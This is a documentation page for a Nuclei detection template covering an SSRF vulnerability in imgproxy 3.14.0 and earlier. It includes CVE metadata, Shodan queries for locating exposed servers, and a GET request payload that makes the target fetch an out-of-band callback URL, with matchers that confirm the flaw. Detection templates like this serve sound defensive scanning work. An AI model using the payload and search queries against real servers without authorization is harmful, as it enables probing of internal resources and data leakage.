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Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)

ID: CVE-2023-30019

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians

Description

Section titled “Description”

imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2023-30019


info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.0016
    epss-percentile: 0.52577
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians


http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image


      - type: status
        status:
          - 422
# digest: 4a0a0047304502204f655aa6ae46c426940783b881c6cdb12537f18ca4acfefc0251420cd29b23eb022100a8e6cb30e5d3e99987d9468a2dab27290e638d9bc8cd5be7bff4a949efa089ce:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-30019.yaml"

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